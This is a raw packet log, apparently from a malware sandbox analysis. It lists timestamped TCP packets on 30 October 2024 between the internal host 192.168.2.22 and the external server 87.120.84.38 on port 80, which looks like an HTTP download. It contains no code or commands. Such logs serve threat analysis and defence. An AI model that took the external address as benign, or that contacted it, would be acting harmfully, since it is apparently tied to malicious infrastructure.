Oct 30, 2024 08:14:19.321089983 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321118116 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.321140051 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321155071 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321173906 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.321199894 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.321203947 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321214914 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321223974 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321245909 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.321264982 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.321403027 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321410894 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321420908 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321429968 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321440935 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321441889 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.321445942 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321472883 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.321485043 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.321537018 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321547985 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321587086 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.321604967 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321615934 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321638107 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.321662903 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.321731091 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321741104 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321749926 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321762085 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321770906 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.321773052 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321795940 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.321813107 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.321839094 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.321923018 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321933031 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321943045 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321953058 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.321965933 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.321995974 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.322017908 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.322067976 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322103024 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.322170973 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322180033 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322189093 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322200060 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322211027 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322220087 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.322221994 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322232962 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322244883 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.322256088 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.322277069 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.322424889 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322434902 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322453022 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322458982 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.322463036 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322473049 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322484016 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322489023 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.322508097 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.322525024 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.322658062 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322702885 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.322750092 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322760105 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322770119 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322782040 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322792053 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322793007 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.322803020 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.322804928 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.322827101 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.322845936 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.323000908 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.323009968 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.323019028 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.323029041 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.323040009 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.323051929 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.323101044 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.323205948 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.323216915 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.323225021 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.323235035 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.323245049 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.323268890 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.323286057 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.323386908 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.323395014 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.323436022 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.323463917 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.323474884 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.323507071 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.323540926 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.323550940 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.323580980 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.324233055 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.324273109 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.324281931 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.324282885 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.324292898 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.324305058 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.324323893 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.324542046 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.324578047 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.324587107 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.324589968 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.324613094 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.325292110 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.325324059 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.325341940 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.325360060 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.325484991 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.325530052 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.325576067 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.325584888 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.325609922 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.325619936 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.325623035 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.325647116 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.326248884 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326267958 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326278925 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326297998 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326301098 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.326313972 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326320887 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.326323986 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326355934 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.326384068 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326395988 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326406002 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326416969 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326425076 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.326441050 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.326459885 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.326539040 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326575994 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326601982 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.326617956 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.326639891 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326649904 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326659918 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326663971 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.326670885 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326680899 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.326704025 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.326905966 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326944113 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326955080 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.326956034 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.326976061 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.326994896 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.327032089 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.327043056 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.327068090 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.327085972 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.327091932 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.327146053 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.327231884 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.327244043 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.327290058 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.328172922 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.328231096 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.328242064 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.328253984 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.328290939 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.328542948 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.328555107 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.328597069 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.328620911 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.328658104 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.328660011 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.328670979 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.328701019 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.328728914 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.328738928 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.328769922 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.328804970 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.328845024 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.329813004 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.329858065 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.329866886 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.329901934 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.329920053 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.329952955 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.329963923 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.329976082 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.329994917 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.330015898 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.330027103 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330038071 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330049992 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330065966 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.330085993 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.330173969 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330212116 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.330240011 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330250025 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330259085 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330271006 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330280066 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.330281973 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330293894 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330298901 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.330317974 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.330338001 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.330470085 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330478907 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330511093 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330522060 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.330523014 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330540895 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.330559015 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.330661058 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330671072 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330679893 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330688000 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330698013 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330709934 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330713034 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.330732107 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.330750942 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.330799103 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330840111 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.330871105 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330882072 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330892086 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.330914974 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.330931902 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.331007004 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331016064 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331021070 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331031084 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331043005 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331053972 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331060886 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.331079960 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.331101894 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.331224918 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331233978 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331243992 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331270933 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.331288099 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.331342936 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331355095 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331376076 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331379890 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.331398964 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.331410885 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331417084 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.331448078 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.331475973 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331486940 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331499100 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331510067 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331515074 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.331536055 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.331682920 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331691980 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331696987 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331707954 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331720114 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331737995 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.331754923 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331758976 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.331768036 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331779003 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331784964 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.331789970 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331799030 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331805944 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.331809044 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.331824064 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.331845999 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.332716942 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.332776070 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.332778931 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.332788944 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.332818031 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.332823038 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.332828045 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.332838058 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.332858086 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.332876921 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.332921028 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.332931995 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.332941055 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.332961082 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.332966089 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.332978964 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.333003998 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.333005905 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333041906 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.333086967 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333096981 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333106995 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333128929 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.333147049 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.333169937 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333209991 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.333245993 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333256960 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333283901 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.333332062 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333342075 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333384037 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.333468914 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333479881 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333508968 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.333549023 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333559036 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333568096 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333579063 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333590984 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.333759069 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.333822966 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333833933 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333843946 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333859921 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333869934 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.333875895 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.333897114 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.334057093 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334108114 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.334111929 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334124088 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334152937 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.334240913 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334259033 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334270000 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334281921 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.334295034 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.334316015 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.334464073 CET	80	49165	87.120.84.38	192.168.2.22
